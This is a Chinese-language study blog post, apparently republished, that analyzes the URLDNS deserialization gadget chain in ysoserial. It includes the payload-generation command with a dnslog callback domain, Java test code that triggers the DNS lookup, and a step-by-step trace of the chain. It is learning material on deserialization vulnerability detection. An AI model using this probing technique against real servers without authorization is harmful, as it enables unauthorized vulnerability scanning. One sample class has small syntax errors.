Yso中的URLDNS分析學習


 
作為 ysoserial 中最簡單鏈,這里簡單記錄學習一下
 

首先使用ysoserial生成urldns的探測類型

 
首先先去 dnslog.cn 獲取一個url
 

 
 

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://pk3q64.dnslog.cn" > Test.txt
 
 
查看生成的文件
 

 

 
Java反序列化后的前幾個字節就是 ac ed
 
這其實是一個序列化后的對象,這里我們將它反序列化看一下
 

import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class DnsTest {
    public static void main(String[] args) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("/Volumes/DATA/test/java/test.txt"));

        Object test = ois.readObject();
        System.out.println(test);
    }
}

 
我們將這個反序列化了一下
 
隨即我們就收到了DNS查詢的記錄
 

 
這是為什么呢
 
接下來分析一下
 

簡單的觀察一下ysoserial

 
我們剛才生成一個Payload使用的是類似於 java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://pk3q64.dnslog.cn" > Test.txt 的命令
 
我們分析一下干了什么吧
 
首先下載 ysoserial 項目
 
https://github.com/frohoff/ysoserial
 
生成Payload的類在 GeneratePayload.java
 

 
首先檢查我們傳入的參數是否正確,然后將我們調用的payload放入 payloadType,參數放入 command 例如上文我們調用的是 URLDNS 參數是我們的url
 

 
之后將我們的payload傳入 Utils.getPayloadClass 中,這個是作者自己實現的一個工具類,我們傳入payload,根據反射獲取到類的 Class ,然后判斷是否為空
 
其中Payload都放在 payloads 文件夾下
 

 
我們這里面調用的就是 URLDNS
 

 
之后根據 Class 獲取到類的實例,然后向 getObject 方法中傳入我們的參數,將返回的對象序列化輸出,我們后面用 > test.txt 就是把序列化的數據重定向到文件中
 
其中 getObject 的實現如下
 

 
這個就是 ysoserial 的簡單工作原理,其他的也類似
 

分析

 
DNSURL 反序列化的鏈為

HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
URLStreamHandler.hashCode()
URLStreamHandler.getHostAddress()

首先序列化點在 HashMap的 readObject 方法(因為實現了Serializable接口)
 

 
readObject 調用了 putVal方法,且參數里調用了 HashMap的hash方法
 

繼續跟進
 
 

 
因為HashMap里面的 key 與 Value 是一個對應的關系,所以看看 ysoserial傳入的 key 是什么吧

 
顯然傳入的 keyURL
 
因此是調用了 URL 中的 hashCode方法,跟進看一下
 

 
hashcode 的值為 -1 則調用 handler.hashcode 方法
 
其實這個值默認就是 -1
 

 
yso中也是用反射將其強制設置為 -1
 

 
調用的 hander.hashCode 其實也就是我們傳入的 hander
 

 
URL 的構造方法中將其初始化為我們傳入的
 

 
ysoserial 中的 SilentURLStreamHandler 其實就是 URLStreamHandler 的子類(為了程序的健壯性,后面有解釋)
 
所以 handler.hashCode(this) 其實就是調用的 URLStreamHandler.hashCode(this),我們跟進一下
 

 
這里面將 u 傳入 getHostAddress
 
跟進getHostAddress
 

 
其中將 u.getHost() 的結果放入 InetAddress.getByName 此函數將是根據主機名獲取對應ip,相當於發出一次dnslog請求
 
我們查看一下 URL.getHost()
 

 
返回的是 host,而這個值已經在我們初始化 URL 的時候就被設置了(設置為我們一開始傳入的url)
 
因此一套簡單的流程就出來了
 

后續思考

 
我們查看一下HashMap的 put 方法看看
 

 
發現也調用了 hash方法

 
那這樣我們利用 ysoserial 生成 POC的時候,也不是會有dns請求嗎?
 

 
 
我們測試一下
 

import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.net.URL;
import java.util.HashMap;

public class DnsTest {
    /*public static void main(String[] args) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("/Volumes/DATA/test/java/test.txt"));
        Object test = ois.readObject();
        System.out.println(test);
    }*/
    public static void main(String[] args) throws Exception{
        HashMap test = new HashMap();
        URL url = new URL("http://s2i0ku.dnslog.cn");
        test.put(url,233);
    }
}

 

 
確實會產生很多請求
 

 
有個方法就是通過反射修改 hashCode的值(將URL的 hashCode修改為非 -1 就不會調用到了)
 

import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class DnsTest {
    /*public static void main(String[] args) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("/Volumes/DATA/test/java/test.txt"));
        Object test = ois.readObject();
        System.out.println(test);
    }*/
    public static void main(String[] args) throws Exception{
        HashMap test = new HashMap();
        URL url = new URL("http://x5221n.dnslog.cn\n");
        Field justhash = Class.forName("java.net.URL").getDeclaredField("hashCode");
        justhash.setAccessible(true);
        justhash.set(url,123);
        test.put(url,233);
    }
}

 

 
那么 URLDNS 呢
 

 
也沒有產生請求
 
原因在這個

 
這個 SilentURLStreamHandler 繼承了 URLStreamHandler
 
重寫了里面的 openConnectiongetHostAddress
 

 
因此在調用 put 方法的時候不會觸發 dns 查詢

那這樣我們反序列化的時候不是也因為重寫了方法而不能進行 dns 查詢嗎?
 

原因是因為 URL 里面的 handler 設置的是 transient
 

 
因為transient修飾符無法被序列化,所以雖然它最后是沒執行dns請求,但是在反序列化的時候還是會執行dns請求!
 
簡單測試一下
 
User.java
 

package YsoStudent;

import java.io.Serializable;

public class User implements Serializable {
    private  int age=13;
    private transient  String name;
    public int getAge{
        return age;
    }
    public String getName{
        return name;
    }
    public void setAge(int age)
    {
        this.age=age;
    }
    public void  setName(String name)
    {
        this.name=name;
    }
    @Override
    public String toString() {
        return "User{" +
                "age="+age+",name="+name+"}";
    }
}

 

package YsoStudent;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Test {
    public static void main(String[] args) throws Exception {
        SerializableUser();
        UnSerializableUser();
    }
    private  static  void SerializableUser() throws  Exception{
        User user = new User();
        user.setAge(16);
        user.setName("Mikasa");
        //        ObjectOutputStream obj=new ObjectOutputStream(new FileOutputStream("/Users/maniac/Desktop/java/unSerializableDemo/test1.ser"));
        ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("/Users/mikasa/Desktop/tese.txt"));
        obj.writeObject(user);
        obj.close();
        System.out.println("原數據為"+user);
    }
    private  static  void UnSerializableUser()  throws  Exception{
        ObjectInputStream test = new ObjectInputStream(new FileInputStream("/Users/mikasa/Desktop/tese.txt"));
        User user = (User) test.readObject();
        System.out.println("反序列化結果是:"+user);
    }
}

 

 
可以看見 name 屬性未被反序列化,還是原來的值(為賦值前 為 null)
 

總結

 
雖然 URLDNS 不能Getshell,但是可以幫助我們探測目標是否存在漏洞等,寫POC或者掃描器的時候挺適用的
 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM